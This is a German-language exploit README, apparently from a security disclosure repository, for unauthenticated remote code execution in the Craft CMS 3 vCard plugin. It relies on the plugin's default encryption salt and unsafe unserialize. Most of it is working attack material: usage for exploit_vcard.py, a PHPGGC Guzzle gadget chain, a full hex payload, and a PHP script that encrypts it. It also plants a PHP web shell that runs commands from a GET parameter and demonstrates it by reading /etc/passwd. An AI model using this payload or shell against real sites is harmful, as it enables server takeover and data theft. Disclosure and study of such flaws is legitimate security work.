
Dieses Repository enthält Details zu einer Sicherheitslücke, die im „vCard"-Plugin für CraftCMS 3 gefunden wurde.
Craft CMS verfügt über ein Plugin zum Herunterladen von Kontakten im *.vcf-Dateiformat namens „vCard“. Das Plugin kann im Craft-Repository und auf Github eingesehen werden: Craft Plugin Store Github
Dieses Plugin nimmt einen vom Client gesendeten Parameter entgegen, entschlüsselt den Wert mit openssl_decrypt und übergibt die resultierende Zeichenkette anschließend an die unserialize-Funktion von PHP. Da der Standardsalt für die Verschlüsselung im Repository verfügbar ist, kann ein Angreifer dieselbe Logik verwenden, um eine schädliche serialisierte Nutzlast zu verschlüsseln.
Wenn der Benutzer in den Plugin-Einstellungen einen geänderten „salt“-Wert konfiguriert hat, muss dieser als Parameter an das Python-Skript übergeben werden. Dieser Wert bleibt jedoch unverändert, wenn das Plugin aus dem Plugin Store heruntergeladen oder lediglich das Repository geklont wird. Es gibt keine Möglichkeit, ihn über die Craft-Web-GUI zu ändern.
Führen Sie das Skript aus und geben Sie den vCard-Link an, der den Kontakt-Download auslöst. Entfernen Sie den Wert des vcard-Parameters.
Der Parameter für das Skript wäre dann: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Optional kann ein Salt-Wert angegeben werden. Alle Optionen werden hier angezeigt:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Das Python-Skript wurde mit Python 3.6 getestet.
Das Skript führt auf dem Host des Angreifers einen PHP-Befehl aus, um die Nutzlast zu verschlüsseln. Daher muss php-cli installiert sein. Dieser Angriff wurde mit PHP 7.2-cli und PHP 7.3-cli getestet.
Hier ist ein Ausschnitt der Stelle, an der der Code unsicher deserialisiert (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Der Parameter $optionsString ist der Wert des vom Client bereitgestellten URL-Parameters „vcard“. Er wird durch die decrypt-Funktion geschickt und anschließend deserialisiert. Wenn der Client die Verschlüsselung nachahmen kann, wird dieser Code angreifbar, da er direkt vom Benutzer bereitgestellte Daten deserialisiert.
Hier ist die betreffende Verschlüsselungsfunktion (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
Der einzige Wert, den ein Angreifer kennen muss, ist die Variable $key, die durch „VCard::$plugin->getSettings()->salt“ gesetzt wird. Der Standardwert kann im Repository als „s34s4L7“ eingesehen werden (config.php:26) Github
Unter der Annahme, dass der Standardsalt verwendet wird, kann ein Angreifer die Deserialisierung beliebiger Klassen in der Craft-Installation erzwingen.
Wir müssen eine „Gadget“-Klasse in der Standardinstallation von Craft finden, die wir für bösartige Zwecke nutzen können. Wenn wir prüfen, welche Klassen die magischen Funktionen __destruct oder __wakeup besitzen, erhalten wir eine ausreichend kleine Liste. Dies kann mit „grep -rni < Pfad zum Web-Root > -e '__destruct'“ bewerkstelligt werden.
guzzlehttp besitzt eine Klasse namens „FileCookieJar“, die offenbar eine Datei unter Verwendung eines Klassenattributs als Dateinamen speichert:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Eine Untersuchung der save-Funktion zeigt, dass sie Daten in einen Systemdateipfad schreibt, wobei sowohl der Pfad als auch die Daten Klassenattribute sind und sich unter der Kontrolle des Angreifers befinden. Es ergibt Sinn, dass dieses Klassenobjekt beim Zerstören alle vorhandenen Cookies in das Dateinamen-Attribut schreibt, damit sie später wiederhergestellt oder verwendet werden können. Hier sind die Inhalte der save-Funktion, wobei file_put_contents unser Ziel ist (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Glücklicherweise müssen wir die schädliche Nutzlast nicht manuell selbst konstruieren. Das wunderbare Tool PHPGGC automatisiert das Serialisieren einer Guzzle-Klasse mit einer Nutzlast, die wir für diesen Exploit verwenden können.
Ich habe das Tool verwendet, um dies als Basispayload für das Exploit-Skript zu erstellen, wobei es je nach Dateinamen leicht modifiziert wird. Außerdem ist es wichtig zu beachten, dass bei der Erzeugung einer neuen Nutzlast mit PHPGGC der Parameter „-f“ unbedingt verwendet werden muss, da sonst die magische __destruct-Funktion nicht ausgeführt wird:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
Der Inhalt von sample.txt ist:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Seien Sie vorsichtig, dass normales Kopieren+Einfügen hier nicht funktioniert, da die serialisierte Klasse Nullbytes enthält, die vorhanden sein müssen, damit die Attribute korrekt zugeordnet werden. Ich musste die Rohausgabe des Tools in Hex konvertieren und dann zurück in eine Zeichenkette, während ich den Verschlüsselungsprozess nachahmte. Hier ist das verwendete Bash, um die Hex-Nutzlast zu erhalten.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
Möglicherweise befindet sich am Ende der erzeugten Nutzlast ein „0A“-Byte. Wenn ja, entfernen Sie es. Nachdem wir nun eine Nutzlast von PHPGGC haben und in Hex konvertiert haben, müssen wir sie verschlüsseln, bevor wir sie an die verwundbare Plugin-Funktion senden. Indem wir die Logik der zuvor genannten vCard-Verschlüsselungsfunktion übernehmen, müssen wir nur unsere Hex-Nutzlast konvertieren und verschlüsseln. Hier ist das PHP-Skript, das ich verwendet habe:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
Und die resultierende Ausgabe:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Endlich! Jetzt, wo wir unsere Nutzlast haben, müssen wir sie nur noch in einer Anfrage senden, und die Shell wird verfügbar sein. Der Link zu einem gültigen vCard-Download variiert. Hier ist ein Beispiel aus meiner Testinstallation:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
Der Wert des vcard-Parameters wird entfernt und durch unseren bösartigen ersetzt:
Die Zeichenkette wird als $optionsString durchgereicht, entschlüsselt und dann deserialisiert, was einen internen Serverfehler verursacht. Ein Blick auf das Dateisystem des Test-Webservers zeigt, dass eine neue Datei shell.php erstellt wurde:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Wenn ich http://craftcms/shell.php in meinem Browser aufrufe, kann ich nun Systembefehle über den GET-Parameter cmd übergeben.
Beispiel: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
PHP-Gadget-Generierung: https://github.com/ambionics/phpggc
vCard-Plugin: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
unserialize-Dokumentation: https://www.php.net/manual/en/function.unserialize.php